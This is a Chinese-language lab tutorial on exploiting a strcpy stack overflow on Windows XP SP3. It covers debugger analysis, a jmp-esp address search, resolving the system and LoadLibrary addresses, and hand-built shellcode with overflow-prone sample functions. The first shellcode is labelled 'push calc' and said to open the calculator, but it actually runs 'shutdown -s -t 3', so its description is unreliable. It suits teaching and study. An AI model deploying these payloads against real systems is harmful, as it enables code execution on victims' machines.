Windows栈溢出练习
1. 实验环境
- 操作系统:Windows XP系统 SP3
- IDE:Microsoft VC++6.0
2. 实验步骤
0x01.C程序编写
先使用危险函数编写一个简单的C程序并生成32位的exe文件
#include<stdio.h>
#include<string.h>
char name[] = "hello";
int main() {
char buffer[8];
strcpy(buffer, name);
printf("%s\n", buffer);
getchar();
return 0;
}
0x02.溢出分析
先拖入IDA找到C语言程序的入口函数并记录其地址
双击点击_main_0
进行跟进,即可看到C的main函数起始地址
; 函数调用前的操作
push ebp ; 先把当前函数的栈底ebp压入栈中
mov ebp, esp ; 为调用的函数分配新的栈底
sub esp, 4c ; 抬高栈顶esp指针,实际就是为当前函数分配局部变量空间
进入OD直接在0x00401010
按F2
下断点,并按F9
开始运行程序进行
到地址0x0040102D
时可以看下C语言中的调用strcpy
函数在汇编语言的实现过程
push offset name ;将hello的变量地址压入栈中
lea eax, [ebp - 8] ; 并将栈底开始分配8byte大小的空间,在C语言中实际上相等于声明变量char buffer[8];
push eax ;将该变量地址压入栈中
call strcpy ; 调用strcpy(buffer, name),32位操作系统调用带参函数,参数从右往左先后压入栈中,再用call调用带参函数
strcpy
函数执行完成后,可以发现在栈中地址[EBP - 8]
即0012FF78
中内存已成功赋值为hello
但再仔细观察栈内存的情况,可以发现地址0012FF80
为main函数的栈底ebp指针,地址0012FF84
为main函数执行完后的返回地址(下一条待执行指令的地址),如果能将栈地址为0012FF84
内的返回地址改为我们执行shellcode代码的地址,则就可以执行shellcode。
如上图,目前栈中esp指针所指的内容为00401699
,即程序接下来要执行指令的内存地址,可先观察正常情况。
由于汇编中RETN
指令的作用是从栈中pop
出之前调用函数“call
指令的下一条指令的内存地址”,故程序会跳回地址为00401699
并执行该地址所指的指令;若代码中的name
变量改为下列所示,即buffer只能存储8个字节,但此时name中包含17个字节,那经过strcpy函数拷贝后,栈内存又会发生什么变化。
//char name[] = "hello"; // old
char name[] = "HelloReverseWorld"; // new
编译后运行会报错误弹窗,而地址0x6c726f57
从右往左按照ASCII翻译过来是Worl
,错误内容表示“该内存不能read”是因为该地址是一个无效地址,即EIP指针已指向该地址,但该地址内无内容,具体使用OD分析会更加形象
直接来到执行完strcpy
函数后,可以发现返回地址0012FF84
和main函数的ebp地址0012FF80
的内容全都被覆盖了,继续往下走,走到指令RETN
后,也不难发现,返回的地址就是被覆盖的内容6C726F57
,即RETN
完后,会从栈中将该地址pop出来,并跳转到该地址指向指令,但该指令明显是个无效地址,所以OD的CPU窗口会跳转到空界面,并且会报错。
故整理下栈溢出漏洞利用的逻辑:
- 找出包含栈溢出漏洞的代码,并确定返回地址;
- 确定需要其他几个函数调用的内存地址;
- 编写汇编代码,并提取shellcode;
0x03.定位溢出点
上次调试可以发现控制返回地址的是Worl
这四个字符,不过可以再全部改为以下字符串,进行确定:
char name[] = "HelloReverseADDR";
确定合适的地址有很多种方法,例如找出指令jmp esp
、call ecx
等等的机器码以及对应的地址,由于机器编码都是固定的,但每台系统的机器码所对应的地址可能不同,故需要根据机器码找出对应的地址即可(但实际上现在都开启了地址随机化)
其中运行程序时会自动载入kernel32.dll
,故从该动态链接库中找jmp esp
最为方便
// SearchJmpEspInUser32.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int main(){
BYTE *ptr;
int position;
HINSTANCE handle;
bool done_flag = FALSE;
//载入kernel.dll
handle = LoadLibrary("kernel32.dll");
if(!handle){
printf("load dll error!");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++){
try{
//jmp esp语句的机器码为 FFE4,所以这里要这么写;
if(ptr[position]==0xFF && ptr[position+1]==0xE4){
int address = (int)ptr+position;
printf("opcode found at 0x%x\n",address);
}
}
catch(...){
int address = (int)ptr+position;
printf("end of 0x%x\n",address);
done_flag=true;
}
}
getchar();
return 0;
}
编译运行上述代码,可得到所有机器码jmp esp
的地址,随便选择一个即可,本次实验选择0x7c874413
作为覆盖返回地址的地址。
除了jmp esp
指令,还需要获取以下函数的内存地址:
LoadLibrary
函数,在kernel32.dll动态链接库中,用于导入其他动态链接库;system
函数,在msvcrt.dll
动态链接库中,用于执行系统命令;
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
typedef void (*MYPROC) (LPTSTR); //定义一个函数指针,指向函数的参数是字符串,返回值是空
void SearchSystemInMsvcrt() {
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt.dll"); // 加载msvcrt.dll 这个动态链接库,句柄赋给LibHandle
ProcAdd = (MYPROC) GetProcAddress (LibHandle, "system"); //获得system的真实地址,之后再使用这个真实地址来调用system函数,ProcAdd存的是system函数的地址
printf("system addr = 0x%x\n", ProcAdd);
}
void SearchLoadLibrary() {
HINSTANCE k32 = GetModuleHandle(TEXT("kernel32.dll"));
DWORD addrW = (DWORD)GetProcAddress(k32, "LoadLibraryW"); // LoadLibrary unicode version
DWORD addrA = (DWORD)GetProcAddress(k32, "LoadLibraryA"); // LoadLibrary ascii version,用这个版本
printf("LoadLibraryA addr = 0x%x\n", addrA);
printf("LoadLibraryW addr = 0x%x\n\n", addrW);
}
int main(){
SearchLoadLibrary();
SearchSystemInMsvcrt();
getchar();
return 0;
}
0x04.编写并提取shellcode
int main() {
_asm {
sub esp, 0x50
xor ebx, ebx
push ebx
push 0x20206c6c //push ll
push 0x642e7472 //push rt.d
push 0x6376736d //push msvc
mov ecx, esp // 将字符串"msvcrt.dll"压入栈中
push ecx;
mov eax, 0x7C801D7B // ds:[0042B188]=7C801D7B (kernel32.LoadLibraryA)
call eax // call LoadLibrary
push ebx //
push 0x3320742d //
push 0x202d7320
push 0x6e776f64
push 0x74756873
mov ecx, esp //
push ecx // push calc
mov eax, 0x77BF93C7 // 0x77bf93c7 ecx=77BF93C7 (msvcrt.system)
call eax // call system
push ebx;
mov eax, 0x7c81cb12
call eax // call ExitProcess
}
return 0;
}
然后通过 Microsoft Visual C++ 6.0
或Ollydbg
进行提取shellcode
最终提取的shellcode如下所示
char name[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x13\x44\x87\x7c" //jmp esp 0x7c874413
"\x83\xEC\x50" //SUB ESP,50
"\x33\xDB" //XOR EBX,EBX
"\x53" //PUSH EBX
"\x68\x6C\x6C\x20\x20" //PUSH 20206C6C
"\x68\x72\x74\x2E\x64" //PUSH 642E7472
"\x68\x6D\x73\x76\x63" //PUSH 6376736D
"\x8B\xCC" //MOV ECX,ESP
"\x51" //PUSH ECX
"\xB8\x7B\x1D\x80\x7C" //MOV EAX,7C801D7B
"\xFF\xD0" //CALL EAX
"\x53" //PUSH EBX
"\x68\x2D\x74\x20\x33"
"\x68\x20\x2D\x73\x20"
"\x68\x64\x6F\x77\x6E" // down
"\x68\x73\x68\x75\x74"
"\x8B\xCC" //MOV ECX,ESP
"\x51" //PUSH ECX
"\xB8\xC7\x93\xBF\x77" //MOV EAX,77BF93C7
"\xFF\xD0" //CALL EAX
"\x53" //PUSH EBX
"\xB8\x12\xCB\x81\x7C" //MOV EAX,7C81CB12
"\xFF\xD0"; //CALL EAX
修改源程序后运行即可弹出计算机
顺便总结了部分可触发栈溢出的函数:
#include<stdio.h>
#include<string.h>
// strcpy函数栈溢出漏洞利用
void StrcpyOverFlow(char buffer[], char shellcode[]) {
char content[8];
strcat(buffer, shellcode); // 连接buffer和shellcode
strcpy(content, buffer); // 漏洞触发点
printf("%s\n", content);
}
// strcat函数栈溢出漏洞利用
void StrcatOverFlow(char buffer[], char shellcode[]) {
char content[8] = "Hello";
strcat(buffer, shellcode); // 连接buffer和shellcode
strcat(content, buffer); // 漏洞触发点
printf("%s\n", content);
}
// sprintf函数栈溢出漏洞利用
void SprintfOverFlow(char buffer[], char shellcode[]) {
char content[8];
strcat(buffer, shellcode); // 连接buffer和shellcode
sprintf(content, "%s", buffer); // 漏洞触发点
printf("%s\n", content);
}
int main() {
char buffer1[] ="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // strcpy专用buffer
char buffer2[] ="\x90\x90\x90\x90\x90\x90\x90"; // strcat专用buffer
char buffer3[] ="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // sprintf专用buffer
char shellcode[] = "\x13\x44\x87\x7c" //jmp esp 0x7c874413
"\x83\xEC\x50" //SUB ESP,50 抬高栈顶指针,保证shellcode的完整性
"\x33\xDB" //XOR EBX,EBX
"\x53" //PUSH EBX
"\x68\x6C\x6C\x20\x20" //PUSH 20206C6C 压入ll
"\x68\x72\x74\x2E\x64" //PUSH 642E7472 压入rt.d
"\x68\x6D\x73\x76\x63" //PUSH 6376736D 压入msvc
"\x8B\xCC" //MOV ECX,ESP 连接字符串msvcrt.dll
"\x51" //PUSH ECX 将字符串msvcrt.dll压入栈中
"\xB8\x7B\x1D\x80\x7C"
"\xFF\xD0" //LoadLibrary("msvcrt.dll")
"\x53" //PUSH EBX
"\x68\x63\x61\x6c\x63" //PUSH CALC,机器码是正常顺序,汇编是从后往前
"\x8B\xCC" //MOV ECX,ESP
"\x51" //PUSH ECX
"\xB8\xC7\x93\xBF\x77"
"\xFF\xD0" //CALL SYSTEM()
"\x53" //PUSH EBX
"\xB8\x12\xCB\x81\x7C"
"\xFF\xD0"; //CALL ExitProcess()
//StrcpyOverFlow(buffer1, shellcode);
//StrcatOverFlow(buffer2, shellcode);
//SprintfOverFlow(buffer3, shellcode);
char name[8];
gets(name);
printf("%s", name);
return 0;
}